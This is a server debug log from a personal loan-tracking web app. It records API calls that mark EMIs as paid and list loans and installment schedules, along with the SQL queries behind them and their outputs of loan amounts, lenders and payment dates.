2026-06-07T05:06:43.727Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-06-07T05:06:43.727Z server-connect:app Executing action step identify
2026-06-07T05:06:43.728Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:43.728Z server-connect:output identity: 1
2026-06-07T05:06:43.728Z server-connect:app Executing action step restrict
2026-06-07T05:06:43.728Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:43.728Z server-connect:output restrict: undefined
2026-06-07T05:06:43.728Z server-connect:app Executing action step update
2026-06-07T05:06:43.728Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-06-07T05:06:43.729Z server-connect:output update: { affected: 1 }
2026-06-07T05:06:43.905Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-07T05:06:43.905Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-06-07T05:06:43.906Z server-connect:app Executing action step identify
2026-06-07T05:06:43.906Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:43.906Z server-connect:output identity: 1
2026-06-07T05:06:43.906Z server-connect:app Executing action step restrict
2026-06-07T05:06:43.906Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:43.906Z server-connect:app Executing action step identify
2026-06-07T05:06:43.906Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:43.906Z server-connect:output identity: 1
2026-06-07T05:06:43.906Z server-connect:app Executing action step restrict
2026-06-07T05:06:43.906Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:43.907Z server-connect:output restrict: undefined
2026-06-07T05:06:43.907Z server-connect:app Executing action step select
2026-06-07T05:06:43.907Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-07T05:06:43.907Z server-connect:output restrict: undefined
2026-06-07T05:06:43.907Z server-connect:app Executing action step custom
2026-06-07T05:06:43.908Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-06-07T05:06:43.908Z server-connect:output list: [
  {
    id: 222,
    loan_id: 12,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 223,
    loan_id: 12,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 224,
    loan_id: 12,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 225,
    loan_id: 12,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 226,
    loan_id: 12,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 227,
    loan_id: 12,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 228,
    loan_id: 12,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 229,
    loan_id: 12,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 230,
    loan_id: 12,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 231,
    loan_id: 12,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 232,
    loan_id: 12,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 233,
    loan_id: 12,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 234,
    loan_id: 12,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 235,
    loan_id: 12,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 236,
    loan_id: 12,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 237,
    loan_id: 12,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 238,
    loan_id: 12,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 239,
    loan_id: 12,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 240,
    loan_id: 12,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 241,
    loan_id: 12,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 242,
    loan_id: 12,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 243,
    loan_id: 12,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 244,
    loan_id: 12,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 245,
    loan_id: 12,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 246,
    loan_id: 12,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 247,
    loan_id: 12,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 248,
    loan_id: 12,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 249,
    loan_id: 12,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 250,
    loan_id: 12,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 251,
    loan_id: 12,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 252,
    loan_id: 12,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 253,
    loan_id: 12,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 254,
    loan_id: 12,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 255,
    loan_id: 12,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 256,
    loan_id: 12,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 257,
    loan_id: 12,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 258,
    loan_id: 12,
    due_date: '2026-03-04T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 259,
    loan_id: 12,
    due_date: '2026-04-04T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 260,
    loan_id: 12,
    due_date: '2026-05-04T18:30:00.000Z',
    paid_on: '2026-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 261,
    loan_id: 12,
    due_date: '2026-06-04T18:30:00.000Z',
    paid_on: '2026-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 262,
    loan_id: 12,
    due_date: '2026-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 263,
    loan_id: 12,
    due_date: '2026-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 264,
    loan_id: 12,
    due_date: '2026-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 265,
    loan_id: 12,
    due_date: '2026-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 266,
    loan_id: 12,
    due_date: '2026-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 267,
    loan_id: 12,
    due_date: '2026-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 268,
    loan_id: 12,
    due_date: '2027-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 269,
    loan_id: 12,
    due_date: '2027-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  }
]
2026-06-07T05:06:43.910Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '11',
    total_remaining_amount: 165154,
    total_paid_amount: 735686,
    percentage_paid: '81.67'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '1',
    total_remaining_amount: 18243,
    total_paid_amount: 638505,
    percentage_paid: '97.22'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'SMFG Credit India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '22',
    total_remaining_amount: 508398,
    total_paid_amount: 878142,
    percentage_paid: '63.33'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '8',
    total_remaining_amount: 176248,
    total_paid_amount: 881240,
    percentage_paid: '83.33'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '3',
    total_remaining_amount: 16008,
    total_paid_amount: 176088,
    percentage_paid: '91.67'
  }
]
2026-06-07T05:06:47.294Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-07T05:06:47.295Z server-connect:app Executing action step identify
2026-06-07T05:06:47.295Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:47.295Z server-connect:output identity: 1
2026-06-07T05:06:47.295Z server-connect:app Executing action step restrict
2026-06-07T05:06:47.295Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:47.296Z server-connect:output restrict: undefined
2026-06-07T05:06:47.296Z server-connect:app Executing action step select
2026-06-07T05:06:47.296Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-07T05:06:47.297Z server-connect:output list: [
  {
    id: 380,
    loan_id: 18,
    due_date: '2023-09-01T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 381,
    loan_id: 18,
    due_date: '2023-10-01T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 382,
    loan_id: 18,
    due_date: '2023-11-01T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 383,
    loan_id: 18,
    due_date: '2023-12-01T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 384,
    loan_id: 18,
    due_date: '2024-01-01T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 385,
    loan_id: 18,
    due_date: '2024-02-01T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 386,
    loan_id: 18,
    due_date: '2024-03-01T18:30:00.000Z',
    paid_on: '2024-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 387,
    loan_id: 18,
    due_date: '2024-04-01T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 388,
    loan_id: 18,
    due_date: '2024-05-01T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 389,
    loan_id: 18,
    due_date: '2024-06-01T18:30:00.000Z',
    paid_on: '2024-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 390,
    loan_id: 18,
    due_date: '2024-07-01T18:30:00.000Z',
    paid_on: '2024-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 391,
    loan_id: 18,
    due_date: '2024-08-01T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 392,
    loan_id: 18,
    due_date: '2024-09-01T18:30:00.000Z',
    paid_on: '2024-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 393,
    loan_id: 18,
    due_date: '2024-10-01T18:30:00.000Z',
    paid_on: '2024-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 394,
    loan_id: 18,
    due_date: '2024-11-01T18:30:00.000Z',
    paid_on: '2024-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 395,
    loan_id: 18,
    due_date: '2024-12-01T18:30:00.000Z',
    paid_on: '2024-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 396,
    loan_id: 18,
    due_date: '2025-01-01T18:30:00.000Z',
    paid_on: '2025-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 397,
    loan_id: 18,
    due_date: '2025-02-01T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 398,
    loan_id: 18,
    due_date: '2025-03-01T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 399,
    loan_id: 18,
    due_date: '2025-04-01T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 400,
    loan_id: 18,
    due_date: '2025-05-01T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 401,
    loan_id: 18,
    due_date: '2025-06-01T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 402,
    loan_id: 18,
    due_date: '2025-07-01T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 403,
    loan_id: 18,
    due_date: '2025-08-01T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 404,
    loan_id: 18,
    due_date: '2025-09-01T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 405,
    loan_id: 18,
    due_date: '2025-10-01T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 406,
    loan_id: 18,
    due_date: '2025-11-01T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 407,
    loan_id: 18,
    due_date: '2025-12-01T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 408,
    loan_id: 18,
    due_date: '2026-01-01T18:30:00.000Z',
    paid_on: '2026-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 409,
    loan_id: 18,
    due_date: '2026-02-01T18:30:00.000Z',
    paid_on: '2026-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 410,
    loan_id: 18,
    due_date: '2026-03-01T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 411,
    loan_id: 18,
    due_date: '2026-04-01T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 412,
    loan_id: 18,
    due_date: '2026-05-01T18:30:00.000Z',
    paid_on: '2026-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 413,
    loan_id: 18,
    due_date: '2026-06-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 414,
    loan_id: 18,
    due_date: '2026-07-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 415,
    loan_id: 18,
    due_date: '2026-08-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  }
]
2026-06-07T05:06:53.456Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-06-07T05:06:53.457Z server-connect:app Executing action step identify
2026-06-07T05:06:53.457Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:53.457Z server-connect:output identity: 1
2026-06-07T05:06:53.457Z server-connect:app Executing action step restrict
2026-06-07T05:06:53.457Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:53.457Z server-connect:output restrict: undefined
2026-06-07T05:06:53.457Z server-connect:app Executing action step update
2026-06-07T05:06:53.457Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-06-07T05:06:53.459Z server-connect:output update: { affected: 1 }
2026-06-07T05:06:53.633Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-06-07T05:06:53.633Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-07T05:06:53.634Z server-connect:app Executing action step identify
2026-06-07T05:06:53.634Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:53.634Z server-connect:output identity: 1
2026-06-07T05:06:53.634Z server-connect:app Executing action step restrict
2026-06-07T05:06:53.634Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:53.634Z server-connect:app Executing action step identify
2026-06-07T05:06:53.634Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:53.634Z server-connect:output identity: 1
2026-06-07T05:06:53.634Z server-connect:app Executing action step restrict
2026-06-07T05:06:53.634Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:53.635Z server-connect:output restrict: undefined
2026-06-07T05:06:53.635Z server-connect:app Executing action step custom
2026-06-07T05:06:53.635Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-06-07T05:06:53.635Z server-connect:output restrict: undefined
2026-06-07T05:06:53.635Z server-connect:app Executing action step select
2026-06-07T05:06:53.635Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-07T05:06:53.636Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '11',
    total_remaining_amount: 165154,
    total_paid_amount: 735686,
    percentage_paid: '81.67'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '1',
    total_remaining_amount: 18243,
    total_paid_amount: 638505,
    percentage_paid: '97.22'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'SMFG Credit India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '22',
    total_remaining_amount: 508398,
    total_paid_amount: 878142,
    percentage_paid: '63.33'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '8',
    total_remaining_amount: 176248,
    total_paid_amount: 881240,
    percentage_paid: '83.33'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '2',
    total_remaining_amount: 10672,
    total_paid_amount: 181424,
    percentage_paid: '94.44'
  }
]
2026-06-07T05:06:53.638Z server-connect:output list: [
  {
    id: 380,
    loan_id: 18,
    due_date: '2023-09-01T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 381,
    loan_id: 18,
    due_date: '2023-10-01T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 382,
    loan_id: 18,
    due_date: '2023-11-01T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 383,
    loan_id: 18,
